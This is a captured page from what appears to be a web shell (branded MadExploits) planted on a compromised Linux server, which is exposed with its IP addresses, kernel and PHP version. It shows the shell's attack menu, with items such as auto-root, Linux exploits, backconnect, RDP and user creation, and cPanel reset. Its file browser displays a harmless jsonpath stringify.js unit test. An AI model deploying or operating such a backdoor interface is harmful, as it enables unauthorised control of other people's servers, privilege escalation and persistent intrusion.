Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.2
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
amatya /
quiz1 /
node_modules /
jsonpath /
test /
[ HOME SHELL ]
Name
Size
Permission
Action
data
[ DIR ]
dr-xr-xr-x
lessons.js
1.26
KB
-rw-rw-rw-
parse.js
6.66
KB
-rw-rw-rw-
query.js
16.78
KB
-rw-rw-rw-
slice.js
1.5
KB
-rw-rw-rw-
stringify.js
1.77
KB
-rw-rw-rw-
sugar.js
2.23
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : stringify.js
var assert = require('assert'); var jp = require('../'); suite('stringify', function() { test('simple path stringifies', function() { var string = jp.stringify(['$', 'a', 'b', 'c']); assert.equal(string, '$.a.b.c'); }); test('numeric literals end up as subscript numbers', function() { var string = jp.stringify(['$', 'store', 'book', 0, 'author']); assert.equal(string, '$.store.book[0].author'); }); test('simple path with no leading root stringifies', function() { var string = jp.stringify(['a', 'b', 'c']); assert.equal(string, '$.a.b.c'); }); test('simple parsed path stringifies', function() { var path = [ { scope: 'child', operation: 'member', expression: { type: 'identifier', value: 'a' } }, { scope: 'child', operation: 'member', expression: { type: 'identifier', value: 'b' } }, { scope: 'child', operation: 'member', expression: { type: 'identifier', value: 'c' } } ]; var string = jp.stringify(path); assert.equal(string, '$.a.b.c'); }); test('keys with hyphens get subscripted', function() { var string = jp.stringify(['$', 'member-search']); assert.equal(string, '$["member-search"]'); }); test('complicated path round trips', function() { var pathExpression = '$..*[0:2].member["string-xyz"]'; var path = jp.parse(pathExpression); var string = jp.stringify(path); assert.equal(string, pathExpression); }); test('complicated path with filter exp round trips', function() { var pathExpression = '$..*[0:2].member[?(@.val > 10)]'; var path = jp.parse(pathExpression); var string = jp.stringify(path); assert.equal(string, pathExpression); }); test('throws for no input', function() { assert.throws(function() { jp.stringify() }, /we need a path/); }); });
Close